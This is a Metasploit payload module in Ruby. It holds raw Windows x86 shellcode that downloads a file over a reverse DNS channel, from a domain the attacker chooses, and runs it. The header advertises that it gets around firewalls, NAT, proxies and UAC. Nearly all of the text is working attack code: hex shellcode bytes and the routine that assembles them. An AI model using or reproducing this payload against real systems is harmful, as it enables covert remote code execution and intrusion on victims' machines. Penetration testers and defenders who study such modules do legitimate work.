Download and execute file via reverse DNS channel
##
# Shellcode: download and execute file via reverse DNS channel
#
#
# Features:
# * Windows 7 tested
# * UAC without work (svchost.exe makes requests via getaddrinfo)
# * Firewall/Router/Nat/Proxy bypass reverse connection (like dnscat do, but without sockets and stable!)
# * NO SOCKET
#
# DNS handler - http://dsecrg.com/files/pub/tools/revdns.zip\
# P.S. Works with Vista/7/2008
# do not work in XP/2003 because thre are no IPv6 by default.
# can work in XP/2003 if IPv6 installed
# (it is not need to be enabled, just installed)
require 'msf/core'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS_DOWNLOAD_EXEC',
'Version' => '0.01',
'Description' => 'Download and Exec (via DNS)',
'Author' => [ 'Alexey Sintsov' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Offsets' =>{ },
'Begin' => "\xeb\x02\xeb\x7A\xe8\xf9\xff\xff\xff\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\xFF\x47\x65\x74\x54\x65\x6d\x70\x50\x61\x74\x68\x41\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x57\x69\x6E\x45\x78\x65\x63\xFF\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\xff\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\xFF\x77\x73\x32\x5f\x33\x32\xFF\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\xFF\x67\x65\x74\x61\x64\x64\x72\x69\x6e\x66\x6f\xFF\x6d\x73\x76\x63\x72\x74\xFF\x66\x6f\x70\x65\x6e\xFF\x66\x77\x72\x69\x74\x65\xFF\xEB\x13\x66\x63\x6c\x6f\x73\x65\xFF",
'Payload1' => "\xFF\x5e\x33\xc9\xb1\xe4\x8b\xd1\x2b\xe2\x8b\xfc\xf3\xa4\x33\xc0\x8b\xfc\x8A\x04\x39\x3A\xCA\x74\x0D\x3C\xFF\x74\x03\x41\xEB\xF2\x88\x2C\x39\x41\xEB\xEC\xeb\x78\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x5e\x08\x8B\x7E\x20\x33\xed\x83\xc5\x18\x8B\x36\x66\x39\x0C\x2F\x75\xed\x8B\x73\x3C\x8B\x74\x1E\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x14\x33\xED\x56\x57\x51\x8B\x3F\x03\xFB\x8B\xF2\x6A\x0E\x59\xF3\xA6\x74\x08\x59\x5F\x83\xC7\x04\x45\xE2\xE9\x59\x5F\x5E\x8B\xCD\x8B\x46\x24\x03\xC3\xD1\xE1\x03\xC1\x33\xC9\x66\x8B\x08\x8B\x46\x1C\x03\xC3\xC1\xE1\x02\x03\xC8\x8B\x01\x03\xC3\x8B\xFA\x8B\xF7\x83\xC6\x0E\x8B\xD0\x6A\x04\x59\xC3\x8b\xd4\xe8\x81\xff\xff\xff\x50\x33\xc0\xb0\x0f\x03\xf8\x57\x53\xff\xd2\x50\x33\xc0\xb0\x14\x03\xf8\x57\x53\xff\x54\x24\x0c\x50\x33\xc0\xb0\x08\x03\xf8\x57\x53\xff\x54\x24\x10\x50\x33\xc0\xb0\x0b\x03\xf8\x57\x53\xff\x54\x24\x14\x50\x8b\xc7\x83\xc0\x0d\x50\xff\x54\x24\x04\x8b\xd8\x33\xc0\xb0\x14\x03\xf8\x57\x53\xff\x54\x24\x18\x50\x33\xc0\xb0\x0b\x03\xf8\x57\x53\xff\x54\x24\x1C\x50\x83\xc7\x0c\x57\xff\x54\x24\x0c\x8b\xd8\x83\xc7\x07\x57\x53\xff\x54\x24\x20\x50\x83\xc7\x06\x57\x53\xff\x54\x24\x24\x50\x50\x8b\xf4\x83\xc7\x09\x57\x53\xff\x54\x24\x2c\x50\x33\xc0\xb4\x03\x2b\xe0\x8b\xcc\x51\x50\xff\x56\x20\x03\xe0\x59\x59\x8b\xc8\xb8",
'Payload2' => "\xba\x01\x01\x01\x01\x2b\xc2\x50\xb8\x79\x78\x6f\x2e\x50\x2b\xe1\x8b\xcc\x33\xc0\xb0\x77\xb4\x62\x50\x54\x51\xff\x56\x08\x33\xd2\xb6\x03\xb2\x0c\x03\xe2\x50\x33\xc0\xb4\x05\x2b\xe0\x54\x33\xc0\xb0\x02\xb4\x02\x50\xff\x56\x10\x32\xc9\x50\x80\xf9\x80\x74\x04\xfe\xc1\xeb\xf6\x83\xc4\x10\xb0\x06\x50\xb0\x01\x50\xb0\x17\x50\x83\xec\x04\x8B\xEC\x83\xC7\x07\x83\xEC\x20\x33\xC0\x8A\x0C\x38\x88\x0C\x04\x40\x84\xC9\x75\xF5\x33\xc0\xb9\x61\x61\x61\x61\x8b\xd9\x51\x8b\xd4\x83\xc2\x7f\x52\x33\xd2\x55\x52\x8b\xd4\x83\xc2\x0c\x52\xff\x56\x0c\x59\x51\x85\xc0\x75\xe7\x33\xDB\xB3\xee\x2B\xE3\x50\x8b\xc5\x8b\x40\x5b\x8b\x48\x18\x8b\x50\x1c\x83\xC1\x08\x33\xC0\x33\xFF\x66\x8B\x01\x66\x3d\xff\xff\x74\x7f\x8b\xf8\xc1\xef\x08\x32\xe4\x5b\x03\xfb\x57\x66\x8B\x59\x02\x66\x89\x5c\x04\x04\x8B\x79\x04\x89\x7C\x04\x06\x8B\x79\x08\x89\x7C\x04\x0A\x8B\x79\x0C\x89\x7C\x04\x0E\x8b\xc2\x85\xc0\x75\xbb\x58\xff\x76\xf8\x50\xb0\x01\x50\x8b\xc4\x83\xc0\x0c\x50\xff\x56\x04\x33\xc0\xb0\xee\x03\xe0\x58\x58\x58\x58\x58\x2D\x61\x61\x61\x61\xC0\xE4\x04\x02\xC4\x3C\xFF\x75\x13\x8A\xE0\x40\xc1\xe8\x10\x3c\x1a\x75\x04\xfe\xc4\x32\xc0\xc1\xe0\x10\xeb\x08\x40\x8a\xe0\xC0\xEC\x04\x24\x0F\x05\x61\x61\x61\x61\x50\xe9\x46\xff\xff\xff\x8b\x46\xf8\x50\xff\x56\xfc\x66\xb8\x22\x05\x03\xe0"+"\x68\x2f\x63\x20\x22\x68\x63\x6d\x64\x20\x8b\xcc\x41\x8a\x01\x84\xc0\x75\xf9\xc6\x01\x22\x88\x41\x01"+"\x33\xc0\x8b\xcc\x50\x51\xff\x56\x1c\x50\xff\x56\x18"
}
))
# We use rtlExitThread(0)
deregister_options('EXITFUNC')
# Register the domain and cmd options
register_options(
[
OptString.new('DOMAIN', [ true, "The domain name to use (9 bytes - maximum)" ]),
OptString.new('FILE', [ true, "Filename extension (default VBS)" ]),
], self.class)
end
#
# Constructs the payload
#
def generate_stage
domain = datastore['DOMAIN'] || ''
extens = datastore['FILE'] || 'vbs'
# \"x66\x79\x66\x01"
extLen=extens.length
while extens.length<4
extens=extens+"\x01"
end
i=0
while i<extLen
extens[i,1]=(extens[i].ord+1).chr
i=i+1
end
while domain.length<10
domain=domain+"\xFF"
end
domain="\x2e"+domain
payload=module_info['Payload']['Begin'] + domain + module_info['Payload']['Payload1'] + extens + module_info['Payload']['Payload2']
return payload
end
end
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